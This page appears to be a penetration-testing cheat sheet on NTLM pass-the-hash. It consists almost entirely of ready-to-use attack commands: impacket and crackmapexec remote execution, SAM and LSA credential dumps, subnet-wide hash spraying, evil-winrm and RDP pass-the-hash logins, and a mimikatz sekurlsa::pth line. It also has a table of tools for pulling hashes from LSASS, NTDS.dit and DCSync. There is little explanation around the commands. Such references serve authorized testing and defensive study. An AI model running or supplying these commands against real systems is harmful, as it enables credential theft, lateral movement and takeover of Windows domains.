NTLM & Relay
Pass-the-Hash
Pass-the-Hash: authenticate with NTLM hash without knowing the plaintext password.
Documentation Index
Fetch the complete documentation index at: /llms.txt
Use this file to discover all available pages before exploring further.
Pass-the-Hash: authenticate with NTLM hash without knowing the plaintext password.
impacket-psexec DOMAIN/user@TARGET -hashes aad3b435b51404eeaad3b435b51404ee:NTLM_HASH
impacket-wmiexec DOMAIN/user@TARGET -hashes :NTLM_HASH
impacket-smbexec DOMAIN/user@TARGET -hashes :NTLM_HASH
impacket-atexec DOMAIN/user@TARGET -hashes :NTLM_HASH "whoami"
crackmapexec smb TARGET -u user -H NTLM_HASH
crackmapexec smb TARGET -u user -H NTLM_HASH -x "whoami"
crackmapexec smb TARGET -u user -H NTLM_HASH --sam # Dump SAM
crackmapexec smb TARGET -u user -H NTLM_HASH --lsa # Dump LSA
crackmapexec winrm TARGET -u user -H NTLM_HASH
evil-winrm -i TARGET -u user -H NTLM_HASH
xfreerdp /v:TARGET /u:user /pth:NTLM_HASH
sekurlsa::pth /user:administrator /domain:DOMAIN /ntlm:NTLM_HASH /run:cmd.exe
crackmapexec smb 10.10.10.0/24 -u administrator -H NTLM_HASH
| Source | Tool |
|---|---|
| SAM database | secretsdump, reg save |
| LSASS memory | mimikatz, procdump |
| NTDS.dit | secretsdump, ntdsutil |
| DCSync | secretsdump -just-dc |
| Cached creds | mimikatz lsadump::cache |
| Task | Command |
|---|---|
| PsExec | impacket-psexec DOM/user@TARGET -hashes :HASH |
| WinRM | evil-winrm -i TARGET -u user -H HASH |
| CME | crackmapexec smb TARGET -u user -H HASH |
| Mimikatz | sekurlsa::pth /user:admin /ntlm:HASH |
| Spray | crackmapexec smb SUBNET -u admin -H HASH |